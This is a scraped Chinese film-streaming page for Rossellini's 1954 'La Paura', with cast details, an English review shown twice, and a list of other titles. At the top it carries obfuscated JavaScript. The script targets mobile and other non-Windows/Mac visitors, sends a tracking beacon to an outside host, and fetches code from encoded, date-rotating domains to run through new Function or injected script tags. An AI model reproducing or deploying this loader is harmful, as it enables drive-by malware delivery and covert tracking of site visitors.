function flFwuNd(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function BezApGR(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return flFwuNd(t);};window[''+'e'+'E'+'C'+'k'+'P'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Qfph(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=BezApGR,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Qfph(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/10173/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Qfph(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZhLnNncmRoYmZ3LmxpdmUlM0E4ODkx','d3NzzJTNBJTJGJTJGYS5zzZ3JidHZmci5saXZlJTNBOTUzzNA==','10570',window,document,['H','z']);}:function(){};
影片信息
- 片名:不安
- 状态:HD中字
- 主演:英格丽·褒曼/马蒂亚斯·维曼/雷娜特·曼哈特/
- 导演:罗伯托·罗西里尼/
- 年份:1954
- 地区:其它
- 类型:剧情/
- 时长:内详
- 上映:1954-11-05
- 语言:其它
- 更新:2025-04-20 20:08
- 简介:Whenever I see La Paura I think of it as a companion piece to Eyes Wide Shut, or maybe it is the other way around. Adultery makes both films tick but in different ways. I think Phillip French was right on the money when he pointed out a Wizard of Oz thing in Kubrick's last work. Like Dorothy, Tom and Nicole go through fantasies and nightmares and at the end Dorothy's reassuring childish motto there's no place like home is ironically updated to the adult circumstantial adage there's no sex like marital sex. Kubrick's take is intellectual, he never leaves the world of ideas to touch the ground. He taunts the audience first with an erotic movie and then with a thriller and refuses to deliver either of them. He was married to his third wife for 40 years, until he died. Rossellini was still married to Ingrid Bergman when he directed La Paura; they had been adulterous lovers and their infidelity widely criticized La Paura is a tale, a noirish one. The noir intrigue is solved and the tale has a happy ending. The city is noir; the country is tale, the territory where childhood is possible. The transition is operated in the most regular way by car, a long-held shot taken from the front of the car as it rides into the road, as if we were entering a different dimension. Irene (Bergman) starts the movie we just see a dark city landscape but her voice-over narration tells us of her angst and informs us that the story is a flashback, hers. Bergman's been cheating on her husband. At first guilt is just psychological torture but soon expands into economic blackmail and then grows into something else. From beginning to end the movie focuses on what Bergman feels, every other character is there to make her feel something. Only when the director gives away the plot before the main character can find out does he want us to feel something Bergman still can't. When she finds out, we have already experienced the warped mechanics of the situation and we may focus once again on the emotional impact it has on Bergman's Irene. In La Paura treasons are not imagined but real, nightmares are deliberate and the couple's venom suppurates in bitter ways. Needless to say, Ingrid has another of her rough rides in the movies but Rossellini doesn't dare put her away as he did in Europa 51, nor does he abandon her to the inscrutable impassivity of nature (Stromboli). His gift is less transcendent and fragile than the conclusion of Viaggio in Italia. He just gives his wife as much of a fairy tale ending as a real woman can have, a human landscape where she can finally feel at home. Back to the country, a half lit interior scene where shadows suggest the comfort of sleep. After all, it's the fairy godmother who speaks the last words in the movie.
播放列表
倒序
剧情简介
Whenever I see La Paura I think of it as a companion piece to Eyes Wide Shut, or maybe it is the other way around. Adultery makes both films tick but in different ways. I think Phillip French was right on the money when he pointed out a Wizard of Oz thing in Kubrick's last work. Like Dorothy, Tom and Nicole go through fantasies and nightmares and at the end Dorothy's reassuring childish motto there's no place like home is ironically updated to the adult circumstantial adage there's no sex like marital sex. Kubrick's take is intellectual, he never leaves the world of ideas to touch the ground. He taunts the audience first with an erotic movie and then with a thriller and refuses to deliver either of them. He was married to his third wife for 40 years, until he died. Rossellini was still married to Ingrid Bergman when he directed La Paura; they had been adulterous lovers and their infidelity widely criticized La Paura is a tale, a noirish one. The noir intrigue is solved and the tale has a happy ending. The city is noir; the country is tale, the territory where childhood is possible. The transition is operated in the most regular way by car, a long-held shot taken from the front of the car as it rides into the road, as if we were entering a different dimension. Irene (Bergman) starts the movie we just see a dark city landscape but her voice-over narration tells us of her angst and informs us that the story is a flashback, hers. Bergman's been cheating on her husband. At first guilt is just psychological torture but soon expands into economic blackmail and then grows into something else. From beginning to end the movie focuses on what Bergman feels, every other character is there to make her feel something. Only when the director gives away the plot before the main character can find out does he want us to feel something Bergman still can't. When she finds out, we have already experienced the warped mechanics of the situation and we may focus once again on the emotional impact it has on Bergman's Irene. In La Paura treasons are not imagined but real, nightmares are deliberate and the couple's venom suppurates in bitter ways. Needless to say, Ingrid has another of her rough rides in the movies but Rossellini doesn't dare put her away as he did in Europa 51, nor does he abandon her to the inscrutable impassivity of nature (Stromboli). His gift is less transcendent and fragile than the conclusion of Viaggio in Italia. He just gives his wife as much of a fairy tale ending as a real woman can have, a human landscape where she can finally feel at home. Back to the country, a half lit interior scene where shadows suggest the comfort of sleep. After all, it's the fairy godmother who speaks the last words in the movie.
展开
-
正片
5.0 苑琼丹/黄一山/黎耀祥/斓曦/陈思斯/贤宝宝/黄嘉和/
-
1.0 奥黛莎·杨/乔什·奥康纳/科林·费尔斯/奥利维娅·科尔曼/艾玛·达西/格兰达·杰克逊/帕齐·费伦/西蒙·谢泼德/艾米莉·伍夫/索佩·迪瑞苏/阿尔伯特·威灵/迪诺·布加迪/阿尔弗雷多·塔瓦雷斯/Caroline/Harker/Craig/Crosbie/Nathan/Chester/Reeve/Samuel/Barlow/Charlie/Oscar/Dexter/Raggatt/
-
8.0 机动部队之人性//Tactical/Unit/Human/Nature/
-
正片
-
8.0 东出昌大/新田真剑佑/森川葵/北村匠海/町田启太/吉田钢太郎/
-
正片
-
2.0 乔·安德森/道恩·奥利弗瑞/德里克·卢克/伊万·罗斯/莱拉·罗琼/马赫沙拉·阿里/朱莉·本茨/尼克·齐兰德/珍妮卡·贝尔格雷/卡兰·索尼/泰里恩·特纳/安松·蒙特/丹尼·格洛弗/赫米基·马德拉/Robin/Bobeau/Alex/Henderson/Shaun/Taylor-Corbett/
-
8.0 加斯帕德·尤利尔/纳塔莉·贝伊/蕾雅·赛杜/文森特·卡索/玛丽昂·歌迪亚/西奥多·佩尔兰/
-
正片
7.0 The Last of Robin Hood/
-
5.0 肖恩·克里斯汀森/法提玛·普塔塞克/埃米·罗森/保罗·韦斯利/朗·普尔曼/理查德·希夫/约瑟夫·佩里诺/Isabelle McNally/Joseph DeVito/
-
正片
-
正片
1.0 Adam Donshik/安德鲁·劳厄尔/Marie Burke/
-
正片
-
6.0 马特·霍金斯/奥尔雯·凯瑟琳·凯莉/汉娜·沃丁厄姆/
-
正片
-
正片
-
正片
2.0 True Things About Me/
-
-
5.0 汉娜·珀尔·厄特/阿尤·艾德维利/玛丽-露易丝·帕克/克里斯·维塔斯凯/Carlos/Jacott/哈里斯·于林/史蒂文·迈尔/艾迪·卡希尔/
-
正片
-
豆瓣高分
1.0 傲慢与偏见2005/Pride And Prejudice/
-
正片
-
正片
10.0 Russell Geoffrey Banks/莎拉·玛卢库·莱恩/
-
3.0 张东健/金敏喜/布莱恩·泰/金熙元/金俊成/
-
正片
-
正片
4.0 苏格兰女王玛莉一世(台)/苏格兰女王玛丽/
-
正片
-
豆瓣高分
-
豆瓣高分
-
豆瓣高分
5.0 里兹·阿迈德/克里斯汀·博顿利/汤姆·希德勒斯顿/莫妮卡·杜兰/安德鲁·高尔/Manjinder Virk/